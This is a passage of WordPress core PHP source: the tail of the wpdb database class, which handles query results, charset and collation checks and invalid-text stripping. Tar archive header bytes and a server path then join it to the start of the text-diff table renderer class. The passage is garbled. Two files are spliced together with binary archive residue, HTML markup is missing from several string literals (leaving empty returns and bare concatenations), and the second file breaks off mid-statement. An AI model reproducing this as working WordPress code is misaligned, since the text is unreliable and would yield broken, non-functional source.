'%d' === $value['format'] || '%f' === $value['format'] ) { /* * We can skip this field if we know it isn't a string. * This checks %d/%f versus ! %s because its sprintf() could take more. */ $value['length'] = false; } else { $value['length'] = $this->get_col_length( $table, $field ); if ( is_wp_error( $value['length'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } /** * Retrieves one value from the database. * * Executes a SQL query and returns the value from the SQL result. * If the SQL result contains more than one column and/or more than one row, * the value in the column and row specified is returned. If $query is null, * the value in the specified column and row from the previous SQL result is returned. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query. * @param int $x Optional. Column of value to return. Indexed from 0. Default 0. * @param int $y Optional. Row of value to return. Indexed from 0. Default 0. * @return string|null Database query result (as string), or null on failure. */ public function get_var( $query = null, $x = 0, $y = 0 ) { $this->func_call = "\$db->get_var(\"$query\", $x, $y)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } // Extract var out of cached results based on x,y vals. if ( ! empty( $this->last_result[ $y ] ) ) { $values = array_values( get_object_vars( $this->last_result[ $y ] ) ); } // If there is a value return it, else return null. return ( isset( $values[ $x ] ) && '' !== $values[ $x ] ) ? $values[ $x ] : null; } /** * Retrieves one row from the database. * * Executes a SQL query and returns the row from the SQL result. * * @since 0.71 * * @param string|null $query SQL query. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to an stdClass object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param int $y Optional. Row to return. Indexed from 0. Default 0. * @return array|object|null|void Database query result in format specified by $output or null on failure. */ public function get_row( $query = null, $output = OBJECT, $y = 0 ) { $this->func_call = "\$db->get_row(\"$query\",$output,$y)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } else { return null; } if ( ! isset( $this->last_result[ $y ] ) ) { return null; } if ( OBJECT === $output ) { return $this->last_result[ $y ] ? $this->last_result[ $y ] : null; } elseif ( ARRAY_A === $output ) { return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null; } elseif ( ARRAY_N === $output ) { return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null; } elseif ( OBJECT === strtoupper( $output ) ) { // Back compat for OBJECT being previously case-insensitive. return $this->last_result[ $y ] ? $this->last_result[ $y ] : null; } else { $this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' ); } } /** * Retrieves one column from the database. * * Executes a SQL query and returns the column from the SQL result. * If the SQL result contains more than one column, the column specified is returned. * If $query is null, the specified column from the previous SQL result is returned. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to previous query. * @param int $x Optional. Column to return. Indexed from 0. Default 0. * @return array Database query result. Array indexed from 0 by SQL result row number. */ public function get_col( $query = null, $x = 0 ) { if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } $new_array = array(); // Extract the column values. if ( $this->last_result ) { for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) { $new_array[ $i ] = $this->get_var( null, $x, $i ); } } return $new_array; } /** * Retrieves an entire SQL result set from the database (i.e., many rows). * * Executes a SQL query and returns the entire SQL result. * * @since 0.71 * * @param string $query SQL query. * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. * With one of the first three, return an array of rows indexed * from 0 by SQL result row number. Each row is an associative array * (column => value, ...), a numerically indexed array (0 => value, ...), * or an object ( ->column = value ), respectively. With OBJECT_K, * return an associative array of row objects keyed by the value * of each row's first column's value. Duplicate keys are discarded. * Default OBJECT. * @return array|object|null Database query results. */ public function get_results( $query = null, $output = OBJECT ) { $this->func_call = "\$db->get_results(\"$query\", $output)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } else { return null; } $new_array = array(); if ( OBJECT === $output ) { // Return an integer-keyed array of row objects. return $this->last_result; } elseif ( OBJECT_K === $output ) { /* * Return an array of row objects with keys from column 1. * (Duplicates are discarded.) */ if ( $this->last_result ) { foreach ( $this->last_result as $row ) { $var_by_ref = get_object_vars( $row ); $key = array_shift( $var_by_ref ); if ( ! isset( $new_array[ $key ] ) ) { $new_array[ $key ] = $row; } } } return $new_array; } elseif ( ARRAY_A === $output || ARRAY_N === $output ) { // Return an integer-keyed array of... if ( $this->last_result ) { if ( ARRAY_N === $output ) { foreach ( (array) $this->last_result as $row ) { // ...integer-keyed row arrays. $new_array[] = array_values( get_object_vars( $row ) ); } } else { foreach ( (array) $this->last_result as $row ) { // ...column name-keyed row arrays. $new_array[] = get_object_vars( $row ); } } } return $new_array; } elseif ( strtoupper( $output ) === OBJECT ) { // Back compat for OBJECT being previously case-insensitive. return $this->last_result; } return null; } /** * Retrieves the character set for the given table. * * @since 4.2.0 * * @param string $table Table name. * @return string|WP_Error Table character set, WP_Error object if it couldn't be found. */ protected function get_table_charset( $table ) { $tablekey = strtolower( $table ); /** * Filters the table charset value before the DB is checked. * * Returning a non-null value from the filter will effectively short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string|WP_Error|null $charset The character set to use, WP_Error object * if it couldn't be found. Default null. * @param string $table The name of the table being checked. */ $charset = apply_filters( 'pre_get_table_charset', null, $table ); if ( null !== $charset ) { return $charset; } if ( isset( $this->table_charset[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } $charsets = array(); $columns = array(); $table_parts = explode( '.', $table ); $table = '`' . implode( '`.`', $table_parts ) . '`'; $results = $this->get_results( "SHOW FULL COLUMNS FROM $table" ); if ( ! $results ) { return new WP_Error( 'wpdb_get_table_charset_failure', __( 'Could not retrieve table charset.' ) ); } foreach ( $results as $column ) { $columns[ strtolower( $column->Field ) ] = $column; } $this->col_meta[ $tablekey ] = $columns; foreach ( $columns as $column ) { if ( ! empty( $column->Collation ) ) { list( $charset ) = explode( '_', $column->Collation ); $charsets[ strtolower( $charset ) ] = true; } list( $type ) = explode( '(', $column->Type ); // A binary/blob means the whole query gets treated like this. if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ), true ) ) { $this->table_charset[ $tablekey ] = 'binary'; return 'binary'; } } // utf8mb3 is an alias for utf8. if ( isset( $charsets['utf8mb3'] ) ) { $charsets['utf8'] = true; unset( $charsets['utf8mb3'] ); } // Check if we have more than one charset in play. $count = count( $charsets ); if ( 1 === $count ) { $charset = key( $charsets ); } elseif ( 0 === $count ) { // No charsets, assume this table can store whatever. $charset = false; } else { // More than one charset. Remove latin1 if present and recalculate. unset( $charsets['latin1'] ); $count = count( $charsets ); if ( 1 === $count ) { // Only one charset (besides latin1). $charset = key( $charsets ); } elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) { // Two charsets, but they're utf8 and utf8mb4, use utf8. $charset = 'utf8'; } else { // Two mixed character sets. ascii. $charset = 'ascii'; } } $this->table_charset[ $tablekey ] = $charset; return $charset; } /** * Retrieves the character set for the given column. * * @since 4.2.0 * * @param string $table Table name. * @param string $column Column name. * @return string|false|WP_Error Column character set as a string. False if the column has * no character set. WP_Error object if there was an error. */ public function get_col_charset( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); /** * Filters the column charset value before the DB is checked. * * Passing a non-null value to the filter will short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string|null|false|WP_Error $charset The character set to use. Default null. * @param string $table The name of the table being checked. * @param string $column The name of the column being checked. */ $charset = apply_filters( 'pre_get_col_charset', null, $table, $column ); if ( null !== $charset ) { return $charset; } // Skip this entirely if this isn't a MySQL database. if ( empty( $this->is_mysql ) ) { return false; } if ( empty( $this->table_charset[ $tablekey ] ) ) { // This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } // If still no column information, return the table charset. if ( empty( $this->col_meta[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } // If this column doesn't exist, return the table charset. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return $this->table_charset[ $tablekey ]; } // Return false when it's not a string column. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) { return false; } list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation ); return $charset; } /** * Retrieves the maximum string length allowed in a given column. * * The length may either be specified as a byte length or a character length. * * @since 4.2.1 * * @param string $table Table name. * @param string $column Column name. * @return array|false|WP_Error { * Array of column length information, false if the column has no length (for * example, numeric column), WP_Error object if there was an error. * * @type string $type One of 'byte' or 'char'. * @type int $length The column length. * } */ public function get_col_length( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); // Skip this entirely if this isn't a MySQL database. if ( empty( $this->is_mysql ) ) { return false; } if ( empty( $this->col_meta[ $tablekey ] ) ) { // This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return false; } $typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type ); $type = strtolower( $typeinfo[0] ); if ( ! empty( $typeinfo[1] ) ) { $length = trim( $typeinfo[1], ')' ); } else { $length = false; } switch ( $type ) { case 'char': case 'varchar': return array( 'type' => 'char', 'length' => (int) $length, ); case 'binary': case 'varbinary': return array( 'type' => 'byte', 'length' => (int) $length, ); case 'tinyblob': case 'tinytext': return array( 'type' => 'byte', 'length' => 255, // 2^8 - 1 ); case 'blob': case 'text': return array( 'type' => 'byte', 'length' => 65535, // 2^16 - 1 ); case 'mediumblob': case 'mediumtext': return array( 'type' => 'byte', 'length' => 16777215, // 2^24 - 1 ); case 'longblob': case 'longtext': return array( 'type' => 'byte', 'length' => 4294967295, // 2^32 - 1 ); default: return false; } } /** * Checks if a string is ASCII. * * The negative regex is faster for non-ASCII strings, as it allows * the search to finish as soon as it encounters a non-ASCII character. * * @since 4.2.0 * * @param string $input_string String to check. * @return bool True if ASCII, false if not. */ protected function check_ascii( $input_string ) { if ( function_exists( 'mb_check_encoding' ) ) { if ( mb_check_encoding( $input_string, 'ASCII' ) ) { return true; } } elseif ( ! preg_match( '/[^\x00-\x7F]/', $input_string ) ) { return true; } return false; } /** * Checks if the query is accessing a collation considered safe on the current version of MySQL. * * @since 4.2.0 * * @param string $query The query to check. * @return bool True if the collation is safe, false if it isn't. */ protected function check_safe_collation( $query ) { if ( $this->checking_collation ) { return true; } // We don't need to check the collation for queries that don't read data. $query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) { return true; } // All-ASCII queries don't need extra checking. if ( $this->check_ascii( $query ) ) { return true; } $table = $this->get_table_from_query( $query ); if ( ! $table ) { return false; } $this->checking_collation = true; $collation = $this->get_table_charset( $table ); $this->checking_collation = false; // Tables with no collation, or latin1 only, don't need extra checking. if ( false === $collation || 'latin1' === $collation ) { return true; } $table = strtolower( $table ); if ( empty( $this->col_meta[ $table ] ) ) { return false; } // If any of the columns don't have one of these collations, it needs more confidence checking. $safe_collations = array( 'utf8_bin', 'utf8_general_ci', 'utf8mb3_bin', 'utf8mb3_general_ci', 'utf8mb4_bin', 'utf8mb4_general_ci', ); foreach ( $this->col_meta[ $table ] as $col ) { if ( empty( $col->Collation ) ) { continue; } if ( ! in_array( $col->Collation, $safe_collations, true ) ) { return false; } } return true; } /** * Strips any invalid characters based on value/charset pairs. * * @since 4.2.0 * * @param array $data Array of value arrays. Each value array has the keys 'value', 'charset', and 'length'. * An optional 'ascii' key can be set to false to avoid redundant ASCII checks. * @return array|WP_Error The $data parameter, with invalid characters removed from each value. * This works as a passthrough: any additional keys such as 'field' are * retained in each value array. If we cannot remove invalid characters, * a WP_Error object is returned. */ protected function strip_invalid_text( $data ) { $db_check_string = false; foreach ( $data as &$value ) { $charset = $value['charset']; if ( is_array( $value['length'] ) ) { $length = $value['length']['length']; $truncate_by_byte_length = 'byte' === $value['length']['type']; } else { $length = false; /* * Since we have no length, we'll never truncate. Initialize the variable to false. * True would take us through an unnecessary (for this case) codepath below. */ $truncate_by_byte_length = false; } // There's no charset to work with. if ( false === $charset ) { continue; } // Column isn't a string. if ( ! is_string( $value['value'] ) ) { continue; } $needs_validation = true; if ( // latin1 can store any byte sequence. 'latin1' === $charset || // ASCII is always OK. ( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) ) ) { $truncate_by_byte_length = true; $needs_validation = false; } if ( $truncate_by_byte_length ) { mbstring_binary_safe_encoding(); if ( false !== $length && strlen( $value['value'] ) > $length ) { $value['value'] = substr( $value['value'], 0, $length ); } reset_mbstring_encoding(); if ( ! $needs_validation ) { continue; } } // utf8 can be handled by regex, which is a bunch faster than a DB lookup. if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) { $regex = '/ ( (?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2}'; if ( 'utf8mb4' === $charset ) { $regex .= ' | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} '; } $regex .= '){1,40} # ...one or more times ) | . # anything else /x'; $value['value'] = preg_replace( $regex, '$1', $value['value'] ); if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) { $value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' ); } continue; } // We couldn't use any local conversions, send it to the DB. $value['db'] = true; $db_check_string = true; } unset( $value ); // Remove by reference. if ( $db_check_string ) { $queries = array(); foreach ( $data as $col => $value ) { if ( ! empty( $value['db'] ) ) { // We're going to need to truncate by characters or bytes, depending on the length value we have. if ( isset( $value['length']['type'] ) && 'byte' === $value['length']['type'] ) { // Using binary causes LEFT() to truncate by bytes. $charset = 'binary'; } else { $charset = $value['charset']; } if ( $this->charset ) { $connection_charset = $this->charset; } else { $connection_charset = mysqli_character_set_name( $this->dbh ); } if ( is_array( $value['length'] ) ) { $length = sprintf( '%.0f', $value['length']['length'] ); $queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] ); } elseif ( 'binary' !== $charset ) { // If we don't have a length, there's no need to convert binary - it will always return the same result. $queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] ); } unset( $data[ $col ]['db'] ); } } $sql = array(); foreach ( $queries as $column => $query ) { if ( ! $query ) { continue; } $sql[] = $query . " AS x_$column"; } $this->check_current_query = false; $row = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A ); if ( ! $row ) { return new WP_Error( 'wpdb_strip_invalid_text_failure', __( 'Could not strip invalid text.' ) ); } foreach ( array_keys( $data ) as $column ) { if ( isset( $row[ "x_$column" ] ) ) { $data[ $column ]['value'] = $row[ "x_$column" ]; } } } return $data; } /** * Strips any invalid characters from the query. * * @since 4.2.0 * * @param string $query Query to convert. * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails. */ protected function strip_invalid_text_from_query( $query ) { // We don't need to check the collation for queries that don't read data. $trimmed_query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) { return $query; } $table = $this->get_table_from_query( $query ); if ( $table ) { $charset = $this->get_table_charset( $table ); if ( is_wp_error( $charset ) ) { return $charset; } // We can't reliably strip text from tables containing binary/blob columns. if ( 'binary' === $charset ) { return $query; } } else { $charset = $this->charset; } $data = array( 'value' => $query, 'charset' => $charset, 'ascii' => false, 'length' => false, ); $data = $this->strip_invalid_text( array( $data ) ); if ( is_wp_error( $data ) ) { return $data; } return $data[0]['value']; } /** * Strips any invalid characters from the string for a given table and column. * * @since 4.2.0 * * @param string $table Table name. * @param string $column Column name. * @param string $value The text to check. * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails. */ public function strip_invalid_text_for_column( $table, $column, $value ) { if ( ! is_string( $value ) ) { return $value; } $charset = $this->get_col_charset( $table, $column ); if ( ! $charset ) { // Not a string column. return $value; } elseif ( is_wp_error( $charset ) ) { // Bail on real errors. return $charset; } $data = array( $column => array( 'value' => $value, 'charset' => $charset, 'length' => $this->get_col_length( $table, $column ), ), ); $data = $this->strip_invalid_text( $data ); if ( is_wp_error( $data ) ) { return $data; } return $data[ $column ]['value']; } /** * Finds the first table name referenced in a query. * * @since 4.2.0 * * @param string $query The query to search. * @return string|false The table name found, or false if a table couldn't be found. */ protected function get_table_from_query( $query ) { // Remove characters that can legally trail the table name. $query = rtrim( $query, ';/-#' ); // Allow (select...) union [...] style queries. Use the first query's table name. $query = ltrim( $query, "\r\n\t (" ); // Strip everything between parentheses except nested selects. $query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query ); // Quickly match most common queries. if ( preg_match( '/^\s*(?:' . 'SELECT.*?\s+FROM' . '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?' . '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?' . '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?' . '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?' . ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } // SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts' if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) { return $maybe[2]; } /* * SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%' * This quoted LIKE operand seldom holds a full table name. * It is usually a pattern for matching a prefix so we just * strip the trailing % and unescape the _ to get 'wp_123_' * which drop-ins can use for routing these SQL statements. */ if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) { return str_replace( '\\_', '_', $maybe[2] ); } // Big pattern for the rest of the table-related queries. if ( preg_match( '/^\s*(?:' . '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM' . '|DESCRIBE|DESC|EXPLAIN|HANDLER' . '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?' . '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE' . '|TRUNCATE(?:\s+TABLE)?' . '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?' . '|ALTER(?:\s+IGNORE)?\s+TABLE' . '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?' . '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON' . '|DROP\s+INDEX.*\s+ON' . '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE' . '|(?:GRANT|REVOKE).*ON\s+TABLE' . '|SHOW\s+(?:.*FROM|.*TABLE)' . ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } return false; } /** * Loads the column metadata from the last query. * * @since 3.5.0 */ protected function load_col_info() { if ( $this->col_info ) { return; } $num_fields = mysqli_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = mysqli_fetch_field( $this->result ); } } /** * Retrieves column metadata from the last query. * * @since 0.71 * * @param string $info_type Optional. Possible values include 'name', 'table', 'def', 'max_length', * 'not_null', 'primary_key', 'multiple_key', 'unique_key', 'numeric', * 'blob', 'type', 'unsigned', 'zerofill'. Default 'name'. * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. * 3: if the col is numeric. 4: col's type. Default -1. * @return mixed Column results. */ public function get_col_info( $info_type = 'name', $col_offset = -1 ) { $this->load_col_info(); if ( $this->col_info ) { if ( -1 === $col_offset ) { $i = 0; $new_array = array(); foreach ( (array) $this->col_info as $col ) { $new_array[ $i ] = $col->{$info_type}; ++$i; } return $new_array; } else { return $this->col_info[ $col_offset ]->{$info_type}; } } } /** * Starts the timer, for debugging purposes. * * @since 1.5.0 * * @return true */ public function timer_start() { $this->time_start = microtime( true ); return true; } /** * Stops the debugging timer. * * @since 1.5.0 * * @return float Total time spent on the query, in seconds. */ public function timer_stop() { return ( microtime( true ) - $this->time_start ); } /** * Wraps errors in a nice header and footer and dies. * * Will not die if wpdb::$show_errors is false. * * @since 1.5.0 * * @param string $message The error message. * @param string $error_code Optional. A computer-readable string to identify the error. * Default '500'. * @return void|false Void if the showing of errors is enabled, false if disabled. */ public function bail( $message, $error_code = '500' ) { if ( $this->show_errors ) { $error = ''; if ( $this->dbh instanceof mysqli ) { $error = mysqli_error( $this->dbh ); } elseif ( mysqli_connect_errno() ) { $error = mysqli_connect_error(); } if ( $error ) { $message = '

    ' . $error . "

    \n" . $message; } wp_die( $message ); } else { if ( class_exists( 'WP_Error', false ) ) { $this->error = new WP_Error( $error_code, $message ); } else { $this->error = $message; } return false; } } /** * Closes the current database connection. * * @since 4.5.0 * * @return bool True if the connection was successfully closed, * false if it wasn't, or if the connection doesn't exist. */ public function close() { if ( ! $this->dbh ) { return false; } $closed = mysqli_close( $this->dbh ); if ( $closed ) { $this->dbh = null; $this->ready = false; $this->has_connected = false; } return $closed; } /** * Determines whether MySQL database is at least the required minimum version. * * @since 2.5.0 * * @global string $required_mysql_version The required MySQL version string. * @return void|WP_Error */ public function check_database_version() { global $required_mysql_version; $wp_version = wp_get_wp_version(); // Make sure the server has the required MySQL version. if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) { /* translators: 1: WordPress version number, 2: Minimum required MySQL version number. */ return new WP_Error( 'database_version', sprintf( __( 'Error: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) ); } } /** * Determines whether the database supports collation. * * Called when WordPress is generating the table scheme. * * Use `wpdb::has_cap( 'collation' )`. * * @since 2.5.0 * @deprecated 3.5.0 Use wpdb::has_cap() * * @return bool True if collation is supported, false if not. */ public function supports_collation() { _deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' ); return $this->has_cap( 'collation' ); } /** * Retrieves the database character collate. * * @since 3.5.0 * * @return string The database character collate. */ public function get_charset_collate() { $charset_collate = ''; if ( ! empty( $this->charset ) ) { $charset_collate = "DEFAULT CHARACTER SET $this->charset"; } if ( ! empty( $this->collate ) ) { $charset_collate .= " COLLATE $this->collate"; } return $charset_collate; } /** * Determines whether the database or WPDB supports a particular feature. * * Capability sniffs for the database server and current version of WPDB. * * Database sniffs are based on the version of MySQL the site is using. * * WPDB sniffs are added as new features are introduced to allow theme and plugin * developers to determine feature support. This is to account for drop-ins which may * introduce feature support at a different time to WordPress. * * @since 2.7.0 * @since 4.1.0 Added support for the 'utf8mb4' feature. * @since 4.6.0 Added support for the 'utf8mb4_520' feature. * @since 6.2.0 Added support for the 'identifier_placeholders' feature. * @since 6.6.0 The `utf8mb4` feature now always returns true. * * @see wpdb::db_version() * * @param string $db_cap The feature to check for. Accepts 'collation', 'group_concat', * 'subqueries', 'set_charset', 'utf8mb4', 'utf8mb4_520', * or 'identifier_placeholders'. * @return bool True when the database feature is supported, false otherwise. */ public function has_cap( $db_cap ) { $db_version = $this->db_version(); $db_server_info = $this->db_server_info(); /* * Account for MariaDB version being prefixed with '5.5.5-' on older PHP versions. * * Note: str_contains() is not used here, as this file can be included * directly outside of WordPress core, e.g. by HyperDB, in which case * the polyfills from wp-includes/compat.php are not loaded. */ if ( '5.5.5' === $db_version && false !== strpos( $db_server_info, 'MariaDB' ) && PHP_VERSION_ID < 80016 // PHP 8.0.15 or older. ) { // Strip the '5.5.5-' prefix and set the version to the correct value. $db_server_info = preg_replace( '/^5\.5\.5-(.*)/', '$1', $db_server_info ); $db_version = preg_replace( '/[^0-9.].*/', '', $db_server_info ); } switch ( strtolower( $db_cap ) ) { case 'collation': // @since 2.5.0 case 'group_concat': // @since 2.7.0 case 'subqueries': // @since 2.7.0 return version_compare( $db_version, '4.1', '>=' ); case 'set_charset': return version_compare( $db_version, '5.0.7', '>=' ); case 'utf8mb4': // @since 4.1.0 return true; case 'utf8mb4_520': // @since 4.6.0 return version_compare( $db_version, '5.6', '>=' ); case 'identifier_placeholders': // @since 6.2.0 /* * As of WordPress 6.2, wpdb::prepare() supports identifiers via '%i', * e.g. table/field names. */ return true; } return false; } /** * Retrieves a comma-separated list of the names of the functions that called wpdb. * * @since 2.5.0 * * @return string Comma-separated list of the calling functions. */ public function get_caller() { return wp_debug_backtrace_summary( __CLASS__ ); } /** * Retrieves the database server version. * * @since 2.7.0 * * @return string|null Version number on success, null on failure. */ public function db_version() { return preg_replace( '/[^0-9.].*/', '', $this->db_server_info() ); } /** * Returns the version of the MySQL server. * * @since 5.5.0 * * @return string Server version as a string. */ public function db_server_info() { return mysqli_get_server_info( $this->dbh ); } } PK$[oPP)class-wp-text-diff-renderer-table.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-text-diff-renderer-table.php000064400000044700150547662330024177 0ustar00_show_split_view = $params['show_split_view']; } } /** * @ignore * * @param string $header * @return string */ public function _startBlock( $header ) { return ''; } /** * @ignore * * @param array $lines * @param string $prefix */ public function _lines( $lines, $prefix = ' ' ) { } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function addedLine( $line ) { return "" . /* translators: Hidden accessibility text. */ __( 'Added:' ) . " {$line}"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function deletedLine( $line ) { return "" . /* translators: Hidden accessibility text. */ __( 'Deleted:' ) . " {$line}"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function contextLine( $line ) { return "" . /* translators: Hidden accessibility text. */ __( 'Unchanged:' ) . " {$line}"; } /** * @ignore * * @return string */ public function emptyLine() { return ' '; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _added( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** * Contextually filters a diffed line. * * Filters TextDiff processing of diffed line. By default, diffs are processed with * htmlspecialchars. Use this filter to remove or change the processing. Passes a context * indicating if the line is added, deleted or unchanged. * * @since 4.1.0 * * @param string $processed_line The processed diffed line. * @param string $line The unprocessed diffed line. * @param string $context The line context. Values are 'added', 'deleted' or 'unchanged'. */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' ); } if ( $this->_show_split_view ) { $r .= '' . $this->emptyLine() . $this->addedLine( $line ) . "\n"; } else { $r .= '' . $this->addedLine( $line ) . "\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _deleted( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' ); } if ( $this->_show_split_view ) { $r .= '' . $this->deletedLine( $line ) . $this->emptyLine() . "\n"; } else { $r .= '' . $this->deletedLine( $line ) . "\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _context( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' ); } if ( $this->_show_split_view ) { $r .= '' . $this->contextLine( $line ) . $this->contextLine( $line ) . "\n"; } else { $r .= '' . $this->contextLine( $line ) . "\n"; } } return $r; } /** * Process changed lines to do word-by-word diffs for extra highlighting. * * (TRAC style) sometimes these lines can actually be deleted or added rows. * We do additional processing to figure that out * * @since 2.6.0 * * @param array $orig * @param array $final * @return string */ public function _changed( $orig, $final ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.finalFound $r = ''; /* * Does the aforementioned additional processing: * *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes. * - match is numeric: an index in other column. * - match is 'X': no match. It is a new row. * *_rows are column vectors for the orig column and the final column. * - row >= 0: an index of the $orig or $final array. * - row < 0: a blank row for that column. */ list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); // These will hold the word changes as determined by an inline diff. $orig_diffs = array(); $final_diffs = array(); // Compute word diffs for each matched pair using the inline diff. foreach ( $orig_matches as $o => $f ) { if ( is_numeric( $o ) && 